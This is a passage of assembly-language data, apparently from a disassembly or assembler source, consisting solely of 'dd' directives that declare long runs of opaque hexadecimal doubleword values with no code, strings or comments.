4F85B1F9h, 95D14D00h, 26E4CB81h dd 9832C7FDh, 733850CFh, 947B747Bh, 0FC82562Ch, 8353003Ch dd 0B063E220h, 0C2A0016Ah, 81190A96h, 0B324701Ah, 776C9A00h dd 0FD020F1Bh, 0CC8C0148h, 182355A1h, 62AEF433h, 7D008871h dd 0D91B38B0h, 8C6D47h, 35525114h, 8E9B95E5h, 0C1E1060Eh dd 2B39A028h, 557D17h, 2A83FF29h, 999B5361h, 0D5246900h dd 0A2A45A8Bh, 82E0048h, 5F42BA28h, 6D00A651h, 52A0E37h dd 7AD1026Fh, 71D7BD6h, 0B83D2F14h, 0C0878459h, 0C660EBADh dd 67AE0E07h, 371DB0Ch, 4AEC701Ch, 0F46A0A99h, 80AC9556h dd 7296141Eh, 330B9A92h, 5C0840h, 512A1660h, 5FB800C0h dd 0C54D140Dh, 0B33D5504h, 0E420805Ch, 4245BB59h, 9CE20033h dd 0BCA7168Dh, 0CB00B83Ch, 89266605h, 3AD4915h, 0DB250E85h dd 84793ABBh, 0DA3C5AB0h, 809038CCh, 6C28D5ECh, 1779E11Dh dd 0F70378h, 0F2D1C7B6h, 0AE187410h, 1A2C7CB4h, 33120C0Fh dd 4EAEF766h, 346AD000h, 6BA43E2Ah, 8CFB0050h, 0A6B22943h dd 300FE54h, 0F638D070h, 4B56F5h, 0FCCC379Ch, 0D43D1EA9h dd 58280412h, 0C027B400h, 6051F0h, 687C4EAEh, 32B954DCh dd 0A88F4700h, 44C3665Fh, 0C09F005Dh, 0ED58E57Dh, 19C07127h dd 0D52EF5CBh, 0FF08C199h, 0D0B2B10Bh, 5CB84885h, 8E9E7EA0h dd 21064490h, 8CC0897Ah, 2CF97F40h, 90BB19h, 4511BA5Ah dd 11C7AA0Bh, 798109DAh, 2005812h, 0AC00270Ah, 90EA2DE4h dd 1E78AB97h, 40C7DC31h, 3875366Fh, 8C182874h, 47708610h dd 0CC8D0307h, 0C301E0A9h, 0CB5CB0CFh, 9030FFB3h, 7913A131h dd 4AFC88AFh, 0D501111Ch, 92FE0A02h, 6B148091h, 0E229B4F9h dd 0ED5600C1h, 52FE2CD3h, 10312862h, 272A842h, 2F1F2F0h dd 0D1D51470h, 0DD801664h, 0B9FA2D7h, 957084E6h, 0A592B01Dh dd 9699D180h, 1CAC8019h, 0B8AE9Eh, 79784376h, 2A00A1E3h dd 42724A3h, 0E8ABCB58h, 55C1033Dh, 489D4989h, 5A7E26E8h dd 4C257901h, 7FC70F0Dh, 0B0607DE0h, 35F30709h, 0B096FD18h dd 0D2D4C946h, 0E13DA300h, 0BAA17314h, 355FC36h, 792EFF07h dd 0CBBFD31h, 0B9F7C3B8h, 37030D00h, 1764650h, 0C650B511h dd 0C90093F4h, 83CF0C2Dh, 457964h, 0D9B95BCDh, 34E8FC9Fh dd 1FD8850Fh, 2E0D805Dh, 0F4CCA512h, 0C5E241h, 0FB76B462h dd 0E3E63D3Ch, 3027593Ah, 5B3E21C4h, 60A53AB4h, 80377B80h dd 9B6B1189h, 8EF48438h, 6FAAABBEh, 4FED0072h, 3A4E8563h dd 0E000D812h, 0A6ABBCCBh, 84679E2Bh, 0DFC0E550h, 308DE30Ch dd 61102A74h, 6301A3A8h, 0C28EB67Eh, 898B917h, 82DB2128h dd 1F697501h, 13995FBBh, 724E1980h, 0CBE21974h, 33FB640Dh dd 60AC6841h, 3C3022FCh, 7E91A38Fh, 0D4F84AEh, 756FCC00h dd 533C4414h, 0A0AF877Eh, 0B467CEDAh, 9EAD9B61h, 6E5908C3h dd 0C14F72F6h, 8E364E75h, 21C00C18h, 0C5A47BC0h, 0BAEC006Ah dd 24611D15h, 3D143A2Eh, 7C8089Fh, 367AEEB0h, 0E0411552h dd 20E6D9h, 0B4DFD7C2h, 0A51693E4h, 2FA63A01h, 70F54CB0h dd 7FCB8AD4h, 605700EBh, 3F2CFECAh, 8F65D09h, 0A430B003h dd 0D87581DFh, 1CFB1E47h, 0ACFAB6F6h, 0C0461FD0h, 0B336D142h dd 0E900053Fh, 2F4B476Eh, 90C00DF4h, 1538009Eh, 68271BABh dd 0F9002BCAh, 0AB99429h, 854B64h, 7FA79378h, 0A69EDA9Dh dd 7D8A4100h, 50B6FF4Ch, 0F57C003Ch, 0EC02CEE6h, 25002B12h dd 3876D70Ah, 0EF7E079h, 98ED546Ch, 80961B60h, 1001E990h dd 0E5E2F5F4h, 2AEC9134h, 1A79017Ch, 1B270D29h, 16B1F745h dd 0FE3883F8h, 0E0555122h, 7F374E58h, 6C0D02B2h, 0EFA5444Bh dd 0AB14F960h, 0DDFF7F00h, 440D713h, 78602C5Dh, 0BCFE0C3Bh dd 7B005281h, 258E4DE0h, 4A85B4h, 7A45F377h, 9D467242h dd 8DADCA00h, 1D87A7B3h, 3980009h, 0E9204C18h, 0A814D4FFh dd 0C10DCh, 0B8507895h, 0E2E0B252h, 0E3608007h, 5BA26900h dd 6AD36FAFh, 0CC66010Ch, 4206EA45h, 84EEE09Fh, 0D42BF500h dd 3F138CA9h, 8E1F007Ah, 0B5E3BC6Eh, 0A87D3835h, 0E6429200h dd 939FF403h, 1F990EA6h, 31C062B9h, 0BA196B09h, 2103057Fh dd 0F537AE7Fh, 8880A485h, 3B417DD8h, 3E00BE1Bh, 6A63C7E4h dd 29074A42h, 2F5F5597h, 0AD1C9240h, 856418A5h, 58E9500Ah dd 8CC61B00h, 8708CC2Eh, 0CA54003Eh, 3D0C14BDh, 0F2E2967Bh dd 25C1E802h, 0E09ED398h, 7F3745A4h, 8FE9006Fh, 818B9986h dd 0C5F833E0h, 0F11D4401h, 1F4091E7h, 36A3D980h, 0C33F8854h dd 2F346F17h, 0B9ACA300h, 714337AAh, 13800FCh, 5592883Dh dd 423052BAh dd 43AF1817h, 0A56C008Fh, 7EE3C930h, 1D281CB8h, 0AD06DB3Dh dd 8B59578Ch, 0F0E4F868h, 0F2333EFAh, 2E3C2280h, 0E5604ECh dd 0C4E9F700h, 0BB8D8207h, 7501005Bh, 18201123h, 4B035A91h dd 0C97D08EFh, 53C4D839h, 0C2AB00E9h, 191AD490h, 40161C3h dd 83D5F6E7h, 9CD0DA95h, 8E301E56h, 0CEDF0Eh, 583EF731h dd 0D03E806h, 0FB1ACF84h, 7B5BC159h, 62489D4h, 419A9BF4h dd 0F3185899h, 0F63066F9h, 16860395h, 0BB5DE650h, 0E7569498h dd 113B5F00h, 0E47C6C7Eh, 0D5BC005Ch, 0C17B961Ah, 0CC01B5ECh dd 0EB391D7Ah, 2C5076F2h, 63679h, 656E13F8h, 0BBB9885Ch dd 4D8E560Ch, 999E8h, 8AB09DDFh, 0B264DBA5h, 0BB14360Ch dd 4CE89Ch, 0D5F41EC2h, 8C758EBAh, 0ECA81760h, 3E250C54h dd 845059F9h, 0EF5C285Eh, 0B3940088h, 0F46C495Dh, 1960147Dh dd 40F2C140h, 3FAC388Bh, 27094700h, 0A572A70Ah, 64E80C5Fh dd 76589E00h, 0FBD65B20h, 0E464C900h, 0EE973F7Ch, 84ED1888h dd 533B98D7h, 2440D628h, 0F144F24h, 82CABF05h, 0B4968803h dd 8141F23Ch, 187F5EACh, 98E1B880h, 0CDEB5185h, 63017000h dd 8AF579ADh, 0BECA0258h, 388073ACh, 0B2CF60D7h, 84EB5008h dd 1C3400FEh, 0FA87CBF8h, 8D00903Bh, 7E998553h, 175A13Fh dd 705FA03Eh, 5F4A584h, 0B6A30FAFh, 9F983943h, 0F44F0989h dd 4C0A6FF0h, 0D5496063h, 0C25D5700h, 9FFEFB1h, 39A03DBCh dd 30AC9A07h, 6B96F78Dh, 30900BE8h, 8607643Ch, 23364CD9h dd 0EEFE68h, 6CD06310h, 723C2628h, 74A19D2Ch, 0C35EAC00h dd 515BDFh, 5A02BA9Ch, 5CF092EDh, 0DCBE18C5h, 4E570E80h dd 3151C121h, 40D626E8h, 0E45255B4h, 5A038603h, 0EDBC685h dd 12E6FED8h, 7D5F7863h, 4197E099h, 0C49BCFCCh, 453BA76Ch dd 71C080AAh, 6539EC7h, 3B8A01D7h, 4384A358h, 0A56960D1h dd 0C3DA3E00h, 41AEB880h, 0F4F91C7Eh, 0E0F280D8h, 5AE5CF57h dd 6599A101h, 735CD0D7h, 53C3FCh, 2B1C2666h, 0BCC4A385h dd 0B3FA5F00h, 0DF950C39h, 0A915006Ch, 58829B43h, 0F50081B1h dd 0E1ECEAEEh, 946061h, 54749FD3h, 31DA1106h, 4A00B7FAh dd 0B70B2C8h, 6DB821h, 8978974Dh, 5EA9E9EFh, 1F5A807h dd 17D0E59Ah, 0ECAB7CBEh, 2F1E0E43h, 0BA81E026h, 84581D2Ch dd 0C9BEF3B8h, 50E42080h, 0A9940262h, 0B7C00BE3h, 2BFF88A0h dd 5309D3Dh, 0BA881AD3h, 4C2E0164h, 39B09A32h, 0E7D02070h dd 63434A1Ch, 408423D4h, 4F00EB80h, 793EA41Fh, 0E6DFDA26h dd 0C8CF0059h, 711347A0h, 10F9178h, 409CB4BDh, 0E62F220Bh dd 19D8C125h, 804C2905h, 2C48A709h, 0E478CE92h, 98BB000Fh dd 1A76F5C0h, 0DF00C9B8h, 0B3B407BCh, 0E946BEh, 0F4B51555h dd 580D10A6h, 0A114D600h, 4CA43F9Eh, 46BA0077h, 0BFE7D4C8h dd 7500C307h, 6A690C76h, 7369971h, 287F14Fh, 6318081h dd 0F60310A7h, 0AFF3B8EFh, 0D6003BCh, 0A288F222h, 0BA807108h dd 0FE5D0009h, 44335085h, 8BD9D00h, 54E4740Fh, 3FB00DCh dd 551AAA05h, 0E100D0EEh, 52A13A50h, 502B902Ch, 0F84DAh dd 6BE93B5h, 0A6C8F501h, 0CAA5791Dh, 91C13C00h, 7CBCF0Eh dd 22D4D309h, 7D158092h, 9C074402h, 1296C46Ch, 0F1C595F1h dd 71518EE0h, 0A5ED1FD7h, 0B4F80016h, 0F5B8839h, 0A8C2C8C0h dd 61D854Ah, 0A16634ECh, 5C60087Ah, 2501CF21h, 8AC903E1h dd 561B1244h, 41701861h, 9C47486Ch, 0BD2674D0h, 0D103606Dh dd 0AC2D5563h, 9B0E0778h, 0E36511E9h, 90819967h, 6C87E3h dd 0F39AD80Bh, 0CB3D15CFh, 2F91950Bh, 34EB0025h, 0C452DEh dd 0CC139AF5h, 9B75BF0Bh, 36E21800h, 52985994h, 4ECD00CBh dd 72ABB0FBh, 82241F9Eh, 47015D49h, 0CE08B953h, 81F84831h dd 0BFD90054h, 0A30E78E5h, 44309B99h, 0B2CC2C1Ch, 257B00A0h dd 8D42BFAEh, 8F3896DAh, 9E03791Dh, 0CF2B1B7Ah, 77A8F805h dd 0CB3C007Eh, 96A20B7Ch, 1300E880h, 24906266h, 0DBD36Ch dd 0A3AE329Bh, 8CB66AD8h, 46D0360Fh, 0A131C11Ch, 0AFE421C2h dd 7C691C4Ch, 424080DDh, 53B5DFCAh, 9F48300h, 7223B6DEh dd 115007Ah, 0B214B4B8h, 6A00DD3Ah, 0F330FB2Eh, 0E43D2DBh dd 0B76BD50Ah, 58106580h, 1C00C278h, 0CF41297Eh, 5991D7h dd 72BB9C2Fh, 508E7D0Ch, 650F8277h, 80B19895h, 0F5A14385h dd 599300C9h, 0C367DBFDh, 0C5017112h, 78B933B1h, 4AF0C7A5h dd 0CB5503B8h, 93CD989Ch, 767924F0h, 8414CF16h, 0DAFB305h dd 6100DF1Fh, 58A4485Eh, 6957075Ch, 60CF426Fh, 5DF88F21h dd 0F90C8003h, 90AEAB74h, 1A2A31h, 7E78113Eh, 8F5A1DBBh dd 45047F00h, 4B9A3C25h, 0F0C83F95h, 0ADABFA80h, 2A5554C5h dd 0D106A001h, 0A699F6E5h, 90B41D0h, 0F0435E4Eh, 0C842FE80h dd 0C3767F1Ah, 1E931C3Ah, 3700FE68h, 97393DF0h, 0ABE40076h dd 26C4E52Bh, 0AC00BA0Ch, 4BCBEB7Ah, 3A5F11h, 8E83CE6Ah dd 0C09B6542h, 6958F900h, 490ED8DEh, 0D55F005Dh, 0EDBDF02Fh dd 0AE3E7491h, 6CCF00F4h, 0AC67EF12h, 0C2BF3C6Dh, 8B984080h dd 0D6CA920Fh, 9ACD1F01h, 0F5517EB8h, 6085D8h, 0F783886Fh dd 0D09253B4h, 21DE6A00h, 0EF8FFF4Ch, 0CE1C0018h, 11072C0Ah dd 40081E2h, 0B5512B0h, 0F66790h, 1F2AB742h, 0C03763ACh dd 1A7522E2h, 7E13880Fh, 4FADEE16h, 4494E02Dh, 0A04E4FC1h dd 72511CC3h, 4877E7h, 2378C262h, 28FD57EEh, 0E6CE7D00h dd 0BB3BB63Fh, 6F3000A5h, 7A5ABC62h, 0DA2EB333h, 72004C0Dh dd 0B782BA03h, 0E58501A8h, 734EBA3h, 0B453C855h, 2A698800h dd 2958139h, 58090027h, 0BDC39D3Ah, 4A01DCD3h, 590CEFDFh dd 3840E77Ah, 820761h, 521C179Eh, 5B51D2C9h, 488E48h, 0C32E971h dd 0F4CB926Ch, 0FADD0086h, 0F5D2D730h, 0F006977h, 54C785ACh dd 35F27Bh, 0C98A7E79h, 1A0B9F37h, 9BF8B000h, 0A53F0E45h dd 7E231C68h, 0AFA64E66h, 0FCE78280h, 990078F7h, 4FC251DFh dd 738BF98Ch, 0BC6D3E69h, 5941E480h, 0C74CE33Eh, 4668E81Eh dd 19AF15C7h, 0C0908BA3h, 84123Ah, 0A16989F7h, 48983E02h dd 7459F300h, 0FB2F0ACBh, 4EDE0771h, 9042C920h, 6FDD3658h dd 0A3529900h, 275A8DB5h, 48FA0590h, 8013CD75h, 0E2288792h dd 5F3F3202h, 8725D320h, 0F16060D8h, 0E86FA69Fh, 463B0033h dd 253F6571h, 0E1F6225Ch, 8211531h, 0C76092F9h, 816A00A5h dd 57C711E4h, 4DFAFB67h, 59051800h, 47D58658h, 0B8D21CF8h dd 82235FBDh, 36AF37DBh, 0F5C3EB80h, 5F004342h, 0F1BAA5FEh dd 77079C1Fh, 3377112h, 30C3DDC8h, 0CB900C53h, 0FD0003D8h dd 3DEE7955h, 3AD9A63h, 95E2C914h, 1CB1E7B7h, 94602481h dd 0DE00D4FAh, 0EBED2EEFh, 3A4167h, 6DBFDC73h, 0E7B605FEh dd 12042D01h, 53B0435Dh, 0B3820h, 9CA95937h, 0C02989A5h dd 160F6101h, 57089950h, 0EA47C700h, 0A25FB500h, 6EA4674Fh dd 1F0F043Bh, 80E1AF07h, 0D7CB90Fh, 24C22C00h, 0F1DEBB91h dd 0BEE2048Bh, 0C01FF069h, 0D2635CB4h, 6F4C3D00h, 53066EF5h dd 0ED7F95h, 60E980F9h, 45418835h, 433CAE09h, 0D4440037h dd 49A20C4h, 0FB7DFA26h, 6326801Fh, 730047E8h, 0B93596B5h dd 1279C56Dh, 0A1CA561h, 80984Fh, 12180CDBh, 580028FCh dd 0C9A12DEDh, 3B684216h, 0D880D4E4h, 98DE13BBh, 55040D3Bh dd 0CA37C181h, 25509C87h, 2A0667D2h, 98E6C4h, 0F16632A8h dd 94C6BFCCh dd 3DFDEB0Eh, 5216C083h, 1B12D9Ch, 0BF132555h, 40425823h dd 2734B5DAh, 0EE886C03h, 0A96D3648h, 1CC82F35h, 869B0725h dd 41467C78h, 2031EC2Bh, 0DE03A04Ch, 9892AC0h, 9879D369h dd 0F4F93Dh, 0D69A467Ah, 2C7EC7B5h, 4816838h, 7C0860B2h dd 0B8BE8C80h, 6B7300B3h, 5021AE83h, 600F9211h, 83710CEBh dd 985DACB1h, 1CBA162h, 65C35625h, 60E4E94Bh, 0F0A310Bh dd 0DC27D17Eh, 0A37CDC00h, 726157h, 74E1521Ah, 8A18DDF6h dd 95A739h, 0F3193FB7h, 0E73912h, 0BB0C68D2h, 434453A1h dd 0EE903267h, 47EF51E0h, 0B2C9016Ah, 259A73C8h, 6329D095h dd 629F3D06h, 9C28FEh, 54BB668Dh, 0C298B0C1h, 40175800h dd 0E45CA54Ah, 230202CDh, 0B2E9605h, 9DF1B1C0h, 4783D500h dd 210E70C8h, 6ED40304h, 49DAD322h, 0A599C0C4h, 0A1003D78h dd 6661E8BCh, 0ED931Bh, 0EA6FCED1h, 906D5B33h, 7500FC98h dd 97D3B316h, 4256C7Ah, 9C0835CDh, 20E922AEh, 1367558Fh dd 766BD3Ch, 7945CFF6h, 0D2D3910h, 0EFE220h, 5A90382Fh dd 0FB703713h, 28C45F24h, 0E5C3D880h, 0D01480h, 0ED7B9327h dd 2086F937h, 8403D89Ah, 0CF28E04Dh, 0C80B9D06h, 81140021h dd 0FA9D0BF9h, 0F5D00AA9h, 0BB2CD29Ch, 36A269Eh, 313EF7E0h dd 0DC2FCBE8h, 3C6DDE2Ch, 357B8987h, 770023Bh, 728449Fh dd 0A96B715h, 80E374BDh, 0BC8C8664h, 0D6F8A500h, 8A1A8336h dd 0DF911DE9h, 0CA97C0B7h, 768095F6h, 4707D990h, 0DA3917E7h dd 24153CB1h, 0C1B064h, 0E8E9CE97h, 5A35A23h, 0B30C2509h dd 0ACB03820h, 0FB7500D6h, 0A37BD108h, 0C301CC41h, 0ABC1916Ah dd 0C2D8E2D2h, 0EF160059h, 232F3938h, 0AF38103Ah, 8FAC26D7h dd 9EC2DF03h, 6001A08Bh, 0CAB42E29h, 37A9BDDCh, 809AE748h dd 7E77AA53h, 476E6D0Bh, 70D41872h, 49421E99h, 0C5C003Ch dd 0CE92C358h, 0CC295229h, 0A60348AAh, 7E65CC6Ah, 0B0D0D760h dd 0EF1DC1Eh, 0E347E9A0h, 5423E6E0h, 0D75C645Dh, 57BF0E43h dd 0A48BC0EDh, 49E8C03h, 0ACE49616h, 4A84C07Eh, 0B7EC6ADDh dd 3605E0A5h, 20D00946h, 0A848371h, 8F30E25Eh, 0EBF300E8h dd 689BC8F5h, 2F560307h, 83AB8455h, 80CAB152h, 0FCDD75h dd 2D444708h, 0C67F651Ah, 5088860Bh, 5B7C8057h, 724075h dd 0F2DA1FCCh, 0D067E96h, 54F5441Ch, 0CB055CC2h, 5944C4BFh dd 738F20EBh, 0E266E080h, 330071EEh, 3C6B880Bh, 1E820229h dd 80BBB843h, 0C185B6A3h, 74920CB4h, 188D5C2Ch, 0A0DC9304h dd 0AFDCCCCh, 335BD9D6h, 0A22C008Ch, 5DAD3F06h, 12FB9A00h dd 0F7776CEFh, 0ACD9057h, 7E81D53Eh, 0B3EC58BCh, 0E4DD4824h dd 2DE92285h, 5982A8C8h, 0E604408Eh, 90E34B4Dh, 167B4050h dd 3159506h, 90B2D7h, 0C36E0C92h, 1FDDC7F9h, 18C9D032h dd 96E0604Bh, 815401BCh, 8A74AFE9h, 1F7C6012h, 0C6270503h dd 8049167Dh, 4CA2CB68h, 0B6169DA8h, 0D00401A5h, 0E4C90DEAh dd 0AE00C21Bh, 55E386B0h, 1E383574h, 412B8326h, 567B881Ah dd 0EC5CE09Dh, 0B3035F7Fh, 3D254CB6h, 0C83CD8F2h, 6AF654h dd 0A210A576h, 0EC9AA48Fh, 0C72DD4E7h, 4078F801h, 3B8822ADh dd 0BC083480h, 5BA99466h, 940358h, 93AE7112h, 5446A3h dd 169C37F0h, 6B6D2EBAh, 15487200h, 0AC33BF43h, 0E4FC2C3Fh dd 31CB0090h, 5AFEF4DDh, 3BE01B05h, 0CAC04F50h, 0D50790h dd 0B378A73Fh, 8A9E474h, 2E00FDE8h, 8BB78495h, 5A7E3Eh dd 29E2687Bh, 78C88785h, 0DE6DDB00h, 82CB0A73h, 0D4E100EAh dd 0CDB142DAh, 8C002E53h, 475EE2Dh, 7E9F31h, 0F992FABh dd 80074212h, 0AF829700h, 18CF810Ah, 0A2381255h, 47A42094h dd 0BD055C8Dh, 2AD48482h, 0DDAE8080h, 24945C13h, 5D1A0900h dd 0EC851D61h, 25006AF2h, 80D79E9Fh, 9D65E7h, 0BEE63420h dd 53D93A06h, 0FED26C06h, 0F197994h, 8E9D64BCh, 3880810Eh dd 52C20B70h, 6ECE5900h, 4DABB2FFh, 71116328h, 80FFD43h dd 0E049A458h, 6F32DB3Bh, 0FAC18BBh, 6C163860h, 0DD5EB300h dd 4EE6C9C3h, 0F4F10EB2h, 3DC07985h, 0D0F9071Eh, 0C3AABD01h dd 0F05C2168h, 397A4F20h, 748079B9h, 1FA0360Ah, 35900BE7h dd 38BC2B00h, 65B73B5Fh, 0F1E203h, 0C0D64A48h, 17E86A9h dd 187BC200h, 892DE1F9h, 1DC90C81h, 7FB0FBE7h, 0C7251B03h dd 0E85FFD5Ch, 547A533h, 977A3422h, 17140E1Fh, 4435C460h dd 681F2A06h, 6C404E80h, 0D6893A1Ah, 3BEABFh, 0C40436ECh dd 0CC30146Bh, 26D33C0Fh, 15612055h, 679A4Ah, 2202CFAFh dd 76480C91h, 0EF7DB00h, 16AC185Eh, 0EBA81D27h, 7A30C06Ch dd 4653700Ah, 587CC400h, 0B11BFE56h, 0E6000A0h, 5F33DFD3h dd 0FD73BA0Fh, 9C881900h, 0F99A96B4h, 0C8031C3Ch, 0DB470066h dd 371DAEE2h, 0A459B500h, 2923C1BFh, 98E018Dh, 449AB72Dh dd 1E7BC856h, 75C82158h, 64F57A00h, 664DE1EEh, 0E2EF035h dd 6A250116h, 0CAFDA860h, 3B023885h, 5F0D722Bh, 0EE6560D7h dd 528F0753h, 20085811h, 715B1DA8h, 0AEB05C17h, 0B1DAC500h dd 724BEBAh, 0A0598E18h, 3A4CC1B8h, 0C89BDCAEh, 216CF100h dd 1806A85Ah, 76722491h, 13C68134h, 80AD2BD6h, 6D3C7811h dd 71CF8A64h, 712FECEh, 0D25BE03Ah, 43B5A042h, 3B010E6Dh dd 2E7B19DCh, 41706358h, 0DF8C1848h, 95A4874h, 0B92D8339h dd 1548660h, 0A78F4BAh, 2AD913C4h, 6D4B8138h, 0A03788F9h dd 0B2203868h, 444A00D1h, 2398F76Dh, 0DC00A9D3h, 8FB9C831h dd 1335DA1h, 7F3A8D3Eh, 0F8CE19C1h, 3C302623h, 0E14A6873h dd 78896053h, 5E9FB50Fh, 6570DDF2h, 73D43D3Eh, 1F1E33Fh dd 4550E11h, 1430603Ch, 782CF62Ah, 0E25C00D2h, 0B28658A6h dd 2300BCC0h, 11547133h, 8A7E90h, 0EF422CFAh, 5965B546h dd 72E81D00h, 0A6AA1F23h, 550F3391h, 6AE83830h, 0C5EC5E5Bh dd 13A5EA00h, 18592669h, 0EFBB06B9h, 380CE2B8h, 0F4F2B10Bh dd 0A5CC00BFh, 899C73h, 4627D3E3h, 659FA2D5h, 6C37D401h dd 2CBE3E54h, 1FCEF8ECh, 426270FFh, 0A0D3AD29h, 92F9E540h dd 0B0455001h, 0B515830Ah, 0C254D1C7h, 99B7E4h, 0FC0B0D6Ah dd 0DB46E217h, 58C0F578h, 0D7308333h, 0DA69007Ah, 710E4E1Ah dd 0C0001C53h, 0C8EB21F2h, 0A8BA7h, 93C4DC20h, 0BE134E32h dd 373A61B0h, 0B5983CCh, 9045E940h, 783BEC28h, 18A4E07Fh dd 6825FB9Bh, 8103473Ah, 0BF5909E2h, 0B31DB0F0h, 656107E8h dd 30777553h, 6D5218FCh, 0DD972300h, 1CEA2CDAh, 0C5AC0F17h dd 740346EBh, 5AC01FECh, 8701AD24h, 9C3ABCB6h, 50807192h dd 4FB70A86h, 89072668h, 0D732F2C3h, 0F076CA43h, 72FA84B4h dd 7EFD012Ah, 5A31B0C7h, 0C05FFCA2h, 26009A90h, 804A1D70h dd 7B16D23h, 0FCD9560Eh, 9658C36Ch, 0E7A96FA8h, 0B68E3200h dd 507B388Bh, 0D0391D0Eh, 0A28F80CCh, 73632DA3h, 2696A900h dd 2EA1887Dh, 5AC10E97h, 5286AE23h, 0C507203Ch, 76347D4Fh dd 15C8A56h, 8248FA3Bh, 0CC7AAA6Eh, 0A23DDF27h, 0CBBE85EFh dd 28C079CFh, 298404h, 60CAD9D5h, 651CEC2Eh, 0F7B29A00h dd 0FCEFBE28h, 3C2FCF9h, 70923B3Eh, 0BBF8DFE2h, 0A001F06h dd 4B22BECEh, 34144F0h, 5346AA31h, 0DA885C54h, 9000B877h dd 0E0421759h, 80E3A8h, 133029F1h, 879A5547h, 490A1D00h dd 16A5D436h, 58762Bh, 0B20718B3h, 0B1B98BC9h, 0D1681300h dd 33CA87A5h, 45380FC7h dd 3D41A065h, 0CCF87976h, 783B8860h, 64D00E6Bh, 0DC37A09Fh dd 0E875E6h, 0C59381E9h, 0F8E0EA7Fh, 0D9ACB817h, 0D25E9F07h dd 0B910B640h, 0DDB5001Ah, 51B7C77Bh, 0EA0613B0h, 62C05B81h dd 0C68B0031h, 5F57E62Eh, 6E189315h, 16C9EE0Eh, 0C801861Eh dd 10CFCD1Dh, 1A08B1AEh, 6DCC71C0h, 0F29DF636h, 0F45C00A2h dd 0C2F8DC56h, 92302B87h, 0CA4FA96Ah, 0FD8600D7h, 392D1CA3h dd 3D4C5146h, 0B2590063h, 0BC8F12B0h, 0F5DF1EF2h, 93DE80E2h dd 0A222E6B3h, 0AEF95100h, 0AF5F1DF3h, 11BB07B8h, 7070B144h dd 8EEFE42h, 0DC4CE324h, 0A3533D00h, 0F047649h, 426761ADh dd 5ACC84A3h, 0F6CF68D8h, 3D352500h, 85661D9Bh, 62093E7Fh dd 0E313BC03h, 0A4E1F6FEh, 0C24B6080h, 250B100Fh, 0EC3522FBh dd 0F0F963BEh, 751F6EE5h, 36D30091h, 52181CAh, 7312AD1Bh dd 2300F87Ch, 7FA85434h, 11E400E3h, 7588859h, 0DF00AB3Fh dd 230C8DAh, 76A2EE21h, 531E1F1Ch, 8C5DC0A1h, 0BDF27FEFh dd 6A6BAB00h, 3C468D58h, 0BDFD5004h, 0C8D8002Eh, 60966DC3h dd 540A1127h, 90D25120h, 0FF352800h, 0C0698CD1h, 0FD6D941h dd 271D2DD5h, 8800934Dh, 95BE801h, 0F55831h, 7ADAE400h dd 0E2875CBBh, 91485F00h, 0D8126BD0h, 16050071h, 14730B21h dd 80079710h, 0A9A6178Bh, 5E44E01Fh, 0F56794h, 0F6B5D903h dd 0A616288Fh, 0D31AF800h, 68E34120h, 30F0C2h, 55E8AE9h dd 1F4B43D6h, 502FD009h, 898B00D9h, 0DCB623h, 0BDFE833Bh dd 4152AE9Dh, 0BF627CE8h, 60BAA120h, 7A4E9F1h, 8F7DBC61h dd 0C443C1A8h, 0CBCBFD4Fh, 0AD8D8D3h, 3560F1A9h, 1544F939h dd 6E2F00D2h, 0E5631245h, 821D03E9h, 0E1DEA2BAh, 7C226942h dd 5C764033h, 58A66713h, 0FA4C50BFh, 0BC609D12h, 48378510h dd 0BA7300C7h, 0B26A20CCh, 41304B24h, 0E663F891h, 686037Ah dd 0B5A65CF1h, 0F07BDCA8h, 0D2E278A5h, 75E218C0h, 7E0121F6h dd 6978AC6Dh, 0A043D9FAh, 8AA0E08Bh, 0A2A30010h, 59D3FCE5h dd 0C8381DC6h, 7945DC2Ah, 5C820C01h, 7D7E97AAh, 167325D8h dd 2AAD89h, 71A06F02h, 560083F3h, 5EC06401h, 1F5406CCh dd 0DDDC7418h, 1EEA567Bh, 0B834033Ah, 0C9C03FD6h, 0FC00335Fh dd 0BA636B90h, 195D4DDh, 0BEE71998h, 0E0963FFAh, 1D3C18D8h dd 0AB9000CCh, 63DE1507h, 6FEF0017h, 728F4B1Bh, 0F401C864h dd 18ADE6F1h, 9C7197EDh, 5525A1E3h, 0DE8DF0h, 810911E5h dd 0AA720AEAh, 53946D1Ch, 22BFE0C0h, 1FE54F9Dh, 40FEDD57h dd 8FAAE92Bh, 0EE3D0634h, 7DD11F43h, 5DDE30C0h, 919AF4h dd 0E61A82DBh, 0AE64B1B0h, 0D4DAF007h, 857043AFh, 0DE1402h dd 0D8F213B8h, 186D3EE6h, 0F8001C71h, 0AC3F057Ah, 0C041B94h dd 3976415Fh, 300A1D0h, 0D06D99E9h, 92B6B0h, 0F2A644ABh dd 3024AABFh, 0DF3A9500h, 0CBB21DF9h, 375B0393h, 0B9D1B128h dd 77B8FC80h, 0D200EE7Ah, 0FAA60FCCh, 1F7ACDDEh, 80321E3Eh dd 93F831BAh, 2E1D6780h, 0CDF8694h, 68EA07BBh, 0EC9515CAh dd 35DE300h, 17B93Fh, 0C3113FBh, 4614B841h, 712DCB0Ch dd 5896916Ch, 0C00028CFh, 82868F9Ah, 4600B7F1h, 0D0935F89h dd 32ED7BDh, 42247B72h, 0D801B187h, 14BC1B5h, 0CD61FC2Bh dd 4A43F180h, 814CCB25h, 0E7E2650Fh, 0D62180D1h, 689C358h dd 0DDB8F317h, 9E105992h, 3B1B7FC9h, 58007066h, 0ABF43467h dd 44A7AA88h, 540215C2h, 9665803Dh, 2D9010A5h, 51FCB640h dd 0FEE4585Dh, 65AF80D5h, 45B72CA0h, 88ADBB08h, 0E33161F6h dd 5ECA0093h, 0F43088D0h, 10F0B140h, 18D1AFB7h, 0E3B1331Eh dd 3784A4C7h, 82B16DFBh, 0ED20BD9Fh, 107360FFh, 82B07E65h dd 286AC9Ch, 0B9005EF4h, 0A8066AAEh, 0E016ACh, 0D13D8E20h dd 0AF73A2D6h, 0E60DA700h, 12D5B7BDh, 40241E72h, 756FCF50h dd 5098ADC7h, 0CED31E82h, 7F80BC60h, 21C4B1h, 88A8A336h dd 19719D17h, 0E644C00h, 0E8890394h, 5E200038h, 0DC572385h dd 6A980AD1h, 27A08860h, 0EE6B1DF5h, 0F9A801ACh, 0E581BAA4h dd 929C40A9h, 0F5003039h, 1283C931h, 0F4AE0ECAh, 5892C77Eh dd 17DD406Ah, 0CE2A213h, 4DD1E816h, 0E88A4B0Ch, 823000B9h dd 0A537B43Fh, 0CE491C73h, 507B2698h, 0F21A0300h, 6E54E8h dd 7104EFF4h, 8A7EAE63h, 519A4800h, 0B1F36A23h, 81CF000Ah dd 